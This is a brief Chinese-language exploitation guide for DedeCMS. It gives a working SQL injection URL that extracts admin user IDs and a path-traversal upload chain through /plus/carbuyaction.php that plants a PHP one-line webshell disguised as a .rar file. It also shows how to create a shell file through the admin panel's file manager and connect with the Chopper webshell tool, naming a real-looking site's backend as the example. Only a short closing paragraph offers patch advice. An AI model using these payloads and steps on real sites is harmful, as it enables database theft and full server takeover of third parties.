访问页面链接“/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid  from `%23@__admin` where 1 or id=@`'`”,得到用户名,然后后台拿shell
上传漏洞。要求网站开启新会员注册功能,首先注册新会员,无需通过邮件验证,只要登陆会员中心,然后访问页面链接“/plus/carbuyaction.php?dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
于是将Php一句话木马扩展名改为“rar”等,利用提交页面upload1.htm,直接上传成功。
后台拿shell:

进入后台,默认的是dede,http://www.yesmybi.com/dede,左边导航栏目,选择模块>辅助插件>文件管理器(系统默认安装的,如果没有请在插件管理器中自行安装)>然后选择新建文本(或者文件上传)……

文件名称随便填,例如1.php;内容出填写一句话;菜刀连接。下面的上传也一样,没有过滤文件扩展名,导致上传任意文件。

漏洞修补
目前官方没有升级包,简单的防止注入修补方法可以将ajax_membergroup.php页面删除,或者给CheckSql()自定义函数中的preg_match函数增加“i”参数,防止上传的方法可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字符“.”、“?”以及空格等字符结束等。